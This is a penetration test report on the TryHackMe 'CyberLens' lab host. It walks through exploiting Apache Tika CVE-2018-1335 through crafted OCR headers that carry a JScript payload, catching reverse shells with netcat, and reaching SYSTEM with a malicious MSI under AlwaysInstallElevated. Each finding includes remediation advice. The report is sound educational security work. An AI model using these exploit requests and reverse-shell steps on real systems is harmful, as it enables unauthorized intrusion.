

PENETRATION TEST REPORT

CyberLens

TryHackMe Lab Environment — cyberlens.thm (10.48.131.236)

Windows Server 2016/2019-based host — External to Domain Admin equivalent (SYSTEM)

Report Date: 17 September 2026

Classification: Confidential — Lab Use Only

Executive Summary

This report documents a penetration test performed against the CyberLens host (cyberlens.thm, 10.48.131.236), a training target in a TryHackMe lab environment. The objective was to identify and exploit vulnerabilities to gain an initial foothold and escalate privileges to the highest level available on the system.

The engagement identified a critical unauthenticated remote code execution vulnerability in an exposed Apache Tika server component (CVE-2018-1335), which was used to obtain an initial reverse shell as a low-privileged user. A subsequent local privilege escalation vector was identified: the AlwaysInstallElevated Group Policy misconfiguration, which permits any authenticated user to install Windows Installer (.msi) packages with SYSTEM privileges. This was exploited using a malicious MSI package to escalate from a standard user to NT AUTHORITY\SYSTEM, achieving full administrative control of the host.

Both findings represent a complete compromise chain: an internet/network-facing service flaw providing initial access, paired with a local misconfiguration providing a trivial path to full system control. Remediation of both issues is required; the two together allowed the assessment to progress from zero access to complete host takeover with minimal effort.

Summary of Findings

ID	Finding	Severity	CVSS 3.1
F-01	Unauthenticated Remote Code Execution — Apache Tika Server (CVE-2018-1335)	Critical	9.8
F-02	Local Privilege Escalation via AlwaysInstallElevated Policy	High	7.8
F-03	Unauthenticated Directory / Attack-Surface Enumeration (Recon Exposure)	Low	3.1

Scope & Engagement Details

Target host	cyberlens.thm (10.48.131.236)
Hostname / NetBIOS	CYBERLENS
Operating System	Windows Server, build 10.0.17763 (Windows Server 2019 / 1809)
Test type	Black-box, unauthenticated external assessment
Attacker host	192.168.145.95
Engagement window	16–17 September 2026
Objective	Identify vulnerabilities; obtain initial access and escalate to highest available privilege

Methodology

The assessment followed a standard black-box penetration testing methodology consisting of the phases below.

1. Reconnaissance & Port Scanning — Nmap service/version scanning of the target.
2. Content & Attack-Surface Discovery — Directory brute-forcing with Gobuster against the exposed web service.
3. Vulnerability Identification — Mapping discovered services/versions to known CVEs.
4. Exploitation — Weaponizing a public proof-of-concept exploit to obtain code execution.
5. Post-Exploitation & Privilege Escalation — Enumerating the host for local misconfigurations and escalating to SYSTEM.
6. Reporting — Documenting findings, evidence, and remediation guidance.

Detailed Findings

F-01 · Unauthenticated Remote Code Execution — Apache Tika Server (CVE-2018-1335)

Severity: **Critical** CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Description

During reconnaissance, an Apache Tika server instance (JAX-RS server, version < 1.18) was found reachable on the target. Tika server versions prior to 1.18 expose an OCR-related HTTP header processing path in the /meta endpoint that fails to sanitize the X-Tika-OCRTesseractPath and X-Tika-OCRLanguage headers before passing them to a Tesseract OCR invocation. By supplying a Windows Script Host interpreter (cscript) as the OCR 'path' and a JScript payload as the 'language' parameter, an attacker can cause the server to execute arbitrary OS commands with the privileges of the Tika service process. This is tracked as CVE-2018-1335.

Evidence

A publicly available proof-of-concept (CVE-2018-1335.py, attributed to David Yesland / Rhino Security Labs) was used to weaponize the vulnerability. Its core request sends a crafted PUT to the /meta endpoint:

```
headers = {
    "X-Tika-OCRTesseractPath": "\"cscript\"",
    "X-Tika-OCRLanguage": "//E:Jscript",
    "Content-type": "image/jp2"
}
jscript = 'var oShell = WScript.CreateObject("WScript.Shell");'
        + 'var oExec = oShell.Exec("cmd /c <command>");'
PUT http(s)://<host>:<port>/meta (body: jscript payload)
```

This was used to trigger a reverse-shell payload, catching a connection as a low-privileged user on the target:

```
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.145.95] from (UNKNOWN) [10.48.131.236] 50593
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd C:\Users
```

Impact

This vulnerability allows a fully unauthenticated, remote attacker to execute arbitrary commands on the underlying Windows host. It served as the initial access vector for the entire compromise chain documented in this report, and on its own is sufficient to fully compromise data confidentiality, integrity, and availability of the host.

Recommendation

- Upgrade Apache Tika server to version 1.18 or later, where this OCR header injection is fixed.
- Do not expose Tika server (or similar document-parsing microservices) directly to untrusted networks; place it behind an internal-only network segment or an authenticating reverse proxy.

- Run the Tika service process under a least-privilege service account rather than a user context with broad file-system or network access.
- Apply egress filtering to prevent compromised hosts from establishing outbound shells to arbitrary IPs.

F-02 · Local Privilege Escalation via AlwaysInstallElevated Policy

Severity: **High** CVSS 3.1: 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

Description

Post-exploitation enumeration of the compromised host (using winPEAS) identified that the AlwaysInstallElevated registry policy was enabled under both HKEY_LOCAL_MACHINE and HKEY_CURRENT_USER:

```
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer -> AlwaysInstallElevated = 1
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer -> AlwaysInstallElevated = 1
```

When both keys are set to 1, the Windows Installer service (msiexec.exe) installs any .msi package with SYSTEM privileges, regardless of the invoking user's actual permissions. Any authenticated (including low-privileged) user can therefore craft a malicious MSI that runs arbitrary code as NT AUTHORITY\SYSTEM.

Evidence

A malicious Windows Installer package (AlwaysInstallElevated.msi) was generated (containing an embedded custom action that launches a reverse-shell payload) and installed on the target using msiexec, e.g.:

```
C:\> msiexec /quiet /qn /i AlwaysInstallElevated.msi
```

This produced a second reverse shell, this time running with SYSTEM privileges:

```
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [192.168.145.95] from (UNKNOWN) [10.48.131.236] 50991
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

Impact

Combined with the initial foothold from F-01, this misconfiguration allowed complete escalation from an unauthenticated remote position to full SYSTEM-level control of the host — the highest privilege level on Windows — enabling total compromise of the machine, including credential theft, persistence, and use of the host as a pivot point into any connected network.

Recommendation

- Disable AlwaysInstallElevated: set both HKLM and HKCU AlwaysInstallElevated registry values to 0, or remove the policy, via Group Policy or the registry.
- Audit Group Policy Objects across the environment for other insecure Windows Installer settings.
- Follow the principle of least privilege for standard user accounts; do not grant install rights that bypass UAC/privilege boundaries.

- Monitor for msixec execution from non-standard or user-writable paths, and alert on newly created SYSTEM-level processes following an msixec install.

F-03 · Unauthenticated Directory / Attack-Surface Enumeration (Recon Exposure)

Severity: Low CVSS 3.1: 3.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

Description

Nmap service scanning and Gobuster content discovery against the web service on port 80 required no authentication and returned detailed service banners (Apache/2.4.57 on Win64), enabled the HTTP TRACE method, and enumerated a predictable directory structure. While no single item here is independently exploitable, this information materially assisted in profiling the host and planning the attack.

Evidence

```
80/tcp open  http    Apache httpd 2.4.57 ((Win64))
| http-methods: Potentially risky methods: TRACE
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http    Microsoft-HTTPAPI/2.0 (WinRM)
```

Impact

Verbose banners and an open TRACE method lower the effort required for an attacker to fingerprint software versions and identify applicable public exploits, as occurred in this engagement with F-01.

Recommendation

- Suppress or minimize server version banners (Apache ServerTokens/ServerSignature) where feasible.
- Disable the HTTP TRACE method.
- Restrict exposure of management interfaces (RDP 3389, WinRM 5985) to trusted management networks only, via firewall/VPN.

Attack Chain Summary

The following sequence reconstructs the path from unauthenticated network access to full SYSTEM compromise:

7. Nmap scanning identified an Apache/Windows host with HTTP (80), SMB/RPC (135/139/445), RDP (3389), and WinRM (5985) exposed.
8. Gobuster content discovery enumerated the web root and confirmed the presence of additional application surface area.
9. An exposed Apache Tika server (< 1.18) was identified and exploited via CVE-2018-1335, yielding an initial reverse shell (F-01).
10. winPEAS enumeration of the compromised host revealed the AlwaysInstallElevated registry misconfiguration.
11. A malicious MSI package was installed to escalate privileges, yielding a second reverse shell running as NT AUTHORITY\SYSTEM (F-02).
12. Full administrative control of the host was achieved, completing the compromise.

Overall Risk Rating

Critical.

The combination of an unauthenticated, remotely exploitable RCE (F-01) and a trivial local privilege escalation path (F-02) allowed a complete, end-to-end compromise of the host from zero prior access to full SYSTEM control. Either finding should be remediated as a priority; together they represent a critical risk to the confidentiality, integrity, and availability of this system and any data or systems it can reach.

Conclusion

This engagement successfully demonstrated a full compromise of the CyberLens host through a two-stage attack chain: exploitation of an outdated, unauthenticated Apache Tika service for initial access, followed by exploitation of an AlwaysInstallElevated Group Policy misconfiguration for privilege escalation to SYSTEM. Remediating both the vulnerable service (F-01) and the local policy misconfiguration (F-02), alongside the hardening recommendations in F-03, would have prevented this compromise chain entirely.